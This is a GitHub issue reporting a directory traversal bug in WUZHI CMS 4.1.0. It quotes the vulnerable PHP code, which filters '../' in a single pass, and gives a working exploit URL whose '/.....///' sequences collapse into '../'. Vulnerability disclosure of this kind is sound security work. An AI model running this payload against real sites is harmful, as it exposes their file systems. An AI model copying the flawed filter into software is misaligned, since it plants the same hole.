Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms v4.1.0 /coreframe/app/template/admin/index.php directory traversal vulnerability #190

Open
pwnninja opened this issue Mar 15, 2020 · 0 comments

Comments

@pwnninja
Copy link

pwnninja commented Mar 15, 2020

A directory traversal vulnerability was discovered in WUZHI CMS 4.1.0.
There is a directory traversal vulnerability which allows authenticated remote attackers to list files in arbitrary directory.
Vulnerability in /coreframe/app/template/admin/index.php:

private $db;
	function __construct() {
		$this->db = load_class('db');
        $this->dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
        $this->dir = str_ireplace( array('%2F','//'),'/',$this->dir);
	}
    public function listing() {
        $dir = $this->dir;
        $lists = glob(TPL_ROOT.$dir.'/'.'*');
        //if(!empty($lists)) rsort($lists);
        $cur_dir = str_replace(array( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('',DIRECTORY_SEPARATOR), TPL_ROOT.$dir.'/');
        $show_dialog = 1;
        include $this->template('listing');
    }

When str_replace() is called, the transformation of input data is as follows: /...../// -> /...// -> /../

Exploit:
http://127.0.0.1/wuzhicms/www/index.php?dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31

捕获

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant